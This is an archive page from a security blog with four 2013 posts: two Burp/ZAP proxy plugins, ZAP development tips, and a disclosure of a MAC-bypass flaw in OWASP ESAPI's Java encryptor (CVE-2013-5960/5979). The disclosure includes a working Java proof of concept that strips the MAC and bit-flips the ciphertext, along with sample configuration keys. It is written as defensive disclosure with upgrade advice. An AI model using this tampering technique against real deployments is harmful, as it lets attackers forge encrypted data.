Thursday, December 5, 2013

New Burp/ZAP plugin : Script Generator

Often in pentest/CTF, using Burp repeater/intruder is not enough to test certain vulnerabilities (second order SQL injection, padding oracle, etc). The most flexible method is always to build a small script to reproduce the original request(s) and add what is specific to the problem.

In practice when it come to reproduce the exact same request, a lot of time can be spend because of a forgotten parameter or header. I often reuse the same python templates to avoid searching in the documentation as I build a new script. Seeing part of the process being repetitive, I decided to try to build a plugin for Burp.

The plugin


The plugin generate a script (in python/ruby) to reproduce a HTTP request identify in the proxy tool. It does nothing revolutionary. It only supports the first of step of building a scripted attack. It does not provide templates for specific attacks.

The scripts generated are intended to be use outside of the proxy for complete control.

Screenshots


There is not much to be said about the usage of the plugin. Here are few images that show scripts generation in both Burp Proxy and Zed Attack Proxy.

Context menu in Burp Suite Pro
Context menu in Zed Attack Proxy
Python script generated
Ruby/Perl/PHP languages are also supported


Try it yourself


The Burp and ZAP plugins are available to download at https://github.com/h3xstream/http-script-generator#downloads.
Note : Burp Free edition does not supports extensions (doesn't have the Extender Tab).

Sunday, November 3, 2013

Zed Attack Proxy development tips

Following the previous post about the ZAP plugin, I will now present few tips I came across while extending the tool.

Documentation


Your best resources are existing plugins (see plugins/ directory in your ZAP installation). The core developers have also build a set of four simple examples. When in doubt about the api, you can always look at the source code.

Maven support


Strangely, the api or any components of ZAP is not yet publish on Maven. A manual installation of the zap.jar can mitigate this problem.

    mvn install:install-file -Dfile=%ZAP_DIR%/zap.jar -DgroupId=org.zaproxy -DartifactId=zaproxy -Dversion=2.2.2 -Dpackaging=jar

You can now add the ZAP dependency. Additional dependency might be needed depending on what your plugin need to access.

[...]
    
        
        
            org.zaproxy
            zaproxy
            2.2.2
        

        
        
            net.htmlparser.jericho
            jericho-html
            3.1
            provided
        

    


Debuging your plugin


Java supports remote debuging of application with the specification of few arguments to the java command.

From zap.sh or zap.bat
[...]
java 
  -Xmx512m 
  -XX:PermSize=256M 
  -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
  -jar zap.jar org.zaproxy.zap.ZAP %*
[...]

This method avoid the needed to integrate the complete ZAP application to your development stack in order to debug your small addition.

Logging


Log4J is use by ZAP itself. Your plugin should use the same API to have a proper log aggregation.
If you execute the start script (zap.bat/zap.sh) from the command line, the log will be display to stdout. It is also possible to tail the main log in "$HOME/OWASP ZAP/zap.log".

Troubleshooting plugin installation/removal


Once installed, the plugin is copied in "$HOME/OWASP ZAP/plugin". If ZAP is unable to remove a plugin, you can manually remove the associate file.

Useful references


ZAP extensions : Google projects focusing on documenting the extensions available and providing developer documentation.
ZAP developer mailing-list : Probably the best place to ask questions related to ZAP plugin development.
Plugin examples : Simple examples for the four types of plugins.

Saturday, November 2, 2013

JavaScript static analysis meets your HTTP proxy

I recently use Zed Attack Proxy (ZAP) for the first time. While using the tool, I notice ZAP had passive scanning capabilities. With few examples (built-in passive rules), I started to build a plugin that scan JavaScript for both ZAP and Burp Pro.

The idea


Most modern applications (ab)use JavaScript to build client-side logic. The code is spread in JavaScript files and inline scripts tag. It can totalise thousands of lines of code.
The idea is to do static analysis on all JavaScript files intercepted by the proxy to mark security sensitive code sections.

Developing the rules


Doing a grep like scanner would have limited value. For this reason, Mozilla Rhino was chosen to do JavaScript parsing. By having a real parser, it will be possible to do more intelligent rules that eliminate some false positives. For example, the identification of innerHTML usage was the first rule developed.

The following line could be an exploitable XSS
element.innerHTML = "XSS here ->" + value + "";

While the following line doesn't need to be review.
element.innerHTML += "Static content";

The first example will trigger an alert while the second one is ignore because it is safe.

Screenshots



ZAP plugin

Burp Pro plugin

Try it yourself


The respective plugins are available to download at https://github.com/h3xstream/rhinauditor#downloads.
Note : The plugins are in an alpha stage.

Doing your own passive rules


With ZAP, the implementation of a PluginPassiveScanner is needed to analyse response content. [sample]

In Burp api, you need to implement IScannerCheck. [sample]

Thursday, August 22, 2013

ESAPI : When authenticated encryption goes wrong (CVE-2013-5960 / CVE-2013-5979)

(Note: This post was revert to draft until 3rd september to avoid unnecessary pressure on the ESAPI developpers.)

ESAPI?


ESAPI is a community project part of OWASP. The project scope is kind of wide. It include functionality for authentication, validation, encoding/escaping, cryptography, etc.
I had to analyze the use of ESAPI cryptography component for my organisation. This post will detail the discovery of a vulnerability in the symmetric encryption API. Keep in mind that the observations refer to the Java implementation specifically.

Block Cipher + MAC = Authenticated Encryption


ESAPI encryptor is the api that support symmetric encryption. Symmetric encryption can be use with a block cipher component alone such as AES. When use properly, it provided confidentiality. But, the ciphers are generally not designed to be tamper proof.
But it can also be combined with the generation of Message authentication code (MAC). This combination is called Authenticated Encryption (AE). This additional MAC is needed because in many case the cipher text can be intercept by an adversary. The generation and validation of MAC requires that the client and server share a secret key.

ESAPI implementation


The usage of ESAPI encryptor is as follow:

Example 1: Encryption without signature
//Encrypt
CipherText ct = ESAPI.encryptor().encrypt(new PlainText("Some secret"));


Example 2: Authenticated encryption
//Encrypt
CipherText ct = ESAPI.encryptor().encrypt(new PlainText("Some secret"));
ct.computeAndStoreMAC(sk);

//Serialize the ciphertext...
byte[] serializedCt = ct.asPortableSerializedByteArray();

//Decrypt
CipherText ctReload = CipherText.fromPortableSerializedBytes(serializedCt);
PlainText pt = ESAPI.encryptor().decrypt(sk,ctReload);

The envelop (CipherText class)


The serialization of the CipherText is designed to be portable with other ESAPI implementation. The properties serialized include :
  • Cipher specification (algorithm used, key length, ...)
  • Ciphertext bytes array
  • MAC bytes array

MAC validation


A look at the decrypt method reveal that the MAC validation is done first and the decryption occurs if the MAC validation succeed.

boolean valid = CryptoHelper.isCipherTextMACvalid(key, ciphertext);
if (!valid)
{
    [...]
    throw new EncryptionException("Decryption failed; see logs for details.", "Decryption failed because MAC invalid for " + ciphertext);
}
[...]
plaintext = handleDecryption(key, ciphertext);

The problem is that the MAC validation can be bypassed under certain conditions.

Condition #1: When the MAC is null (not specified)


If the serialize object (CipherText) doesn't contains a MAC, the validation is simply skipped.
CryptoHelper.java
public boolean validateMAC(SecretKey authKey)
{
    boolean usesMAC = ESAPI.securityConfiguration().useMACforCipherText();
    
    if ((usesMAC) && (macComputed()))
    {
        byte[] mac = computeMAC(authKey);
        assert (mac.length == this.separate_mac_.length) : "MACs are of differnt lengths. Should both be the same.";
        return CryptoHelper.arrayCompare(mac, this.separate_mac_);
    }
    else if (!usesMAC) {
        return true;
    }
    else {
        logger.warning(Logger.SECURITY_FAILURE, "Cannot validate MAC as it was never computed and stored. Decryption result may be garbage even when decryption succeeds.");
    
        return true;
    }
}

private boolean macComputed()
{
    return this.separate_mac_ != null;
}

Disabling the MAC validation allow different kinds of attacks that involve altering the ciphertext. (Oracle Padding Attack, IV manipulation, ...).

Condition #2: Altered cipher definition


If the cipher specfication is tampered to use a different mode, it could fall in a category that doesn't required MAC validation. (This attack require a misconfiguration in the list of combined cipher mode.)
CryptoHelper.java
public static boolean isMACRequired(CipherText ct)
{
    boolean preferredCipherMode = isCombinedCipherMode(ct.getCipherMode());

    boolean wantsMAC = ESAPI.securityConfiguration().useMACforCipherText();

    return (!preferredCipherMode) && (wantsMAC);
}
[...]
public static boolean isCombinedCipherMode(String cipherMode)
{
    assert (cipherMode != null) : "Cipher mode may not be null";
    assert (!cipherMode.equals("")) : "Cipher mode may not be empty string";
    List combinedCipherModes =
    ESAPI.securityConfiguration().getCombinedCipherModes();

    return combinedCipherModes.contains(cipherMode);
}

Exploitation (POC)


Supposing a generic configuration (ESAPI.properties) :
Encryptor.MasterSalt=JMpPmyLMEaR5IX8hGApNuw==
Encryptor.MasterKey=6KRLoeM2vUQaQMkXe3AQN+LgYvLJcMs7/gWpCU30N4s=

Encryptor.CipherText.useMAC=true
Encryptor.CipherTransformation=AES/OFB/NoPadding

Encryptor.HashAlgorithm=SHA-512
Encryptor.HashIterations=1024
Encryptor.CharacterEncoding=UTF-8


Encryption/Decryption
//Encryption
String originalMessage = "Cryptography";
System.out.printf("Encrypting the message '%s'\n", originalMessage);
CipherText ct = ESAPI.encryptor().encrypt(new PlainText(originalMessage));
ct.computeAndStoreMAC(sk);

byte[] serializedCt = ct.asPortableSerializedByteArray();

//Manipulation by an adversary occurs here
serializedCt = tamperCipherText(serializedCt);

//Decryption
CipherText modifierCtObj = CipherText.fromPortableSerializedBytes(serializedCt);
PlainText pt = ESAPI.encryptor().decrypt(sk,modifierCtObj);
System.out.printf("Decrypting to '%s'\n", new String(pt.asBytes()));

Tampering proof of concept
private byte[] tamperCipherText(byte[] serializeCt) throws EncryptionException, NoSuchFieldException, IllegalAccessException {
    CipherText ct = CipherText.fromPortableSerializedBytes(serializeCt);

    byte[] cipherTextMod = ct.getRawCipherText();
    System.out.printf("Original ciphertext\t'%s'\n",String.valueOf(Hex.encodeHex(cipherTextMod)));

    cipherTextMod[2] ^= 'y' ^ 'a'; //Alter the 3rd character
    System.out.printf("Modified ciphertext\t'%s'\n",String.valueOf(Hex.encodeHex(cipherTextMod)));

    //MAC ... what MAC ?
    Field f2 = ct.getClass().getDeclaredField("separate_mac_");
    f2.setAccessible(true);
    f2.set(ct,null); //mac byte array set to null

    //Changing CT
    Field f3 = ct.getClass().getDeclaredField("raw_ciphertext_");
    f3.setAccessible(true);
    f3.set(ct,cipherTextMod);

    return serialize(ct); //Modified version of CipherTextSerializer.asSerializedByteArray()
}


Output of the execution
Encrypting the message 'Cryptography'
Original ciphertext '779fd87578b1f08cdcfa81d0'
Modified ciphertext '779fc07578b1f08cdcfa81d0'
Decrypting to 'Craptography'

Closing thoughts


The design to compute the mac for only a portion of the message is kind of broken. The mac should cover all parameters serialized. Authenticated encryption implementation should not use logic that support optional MAC.

If you are using the encryptor api to encrypt data (ESAPI.encryptor().encrypt(...)), you should upgrade to ESAPI 2.1.0 which address this specific vulnerability.

Additional References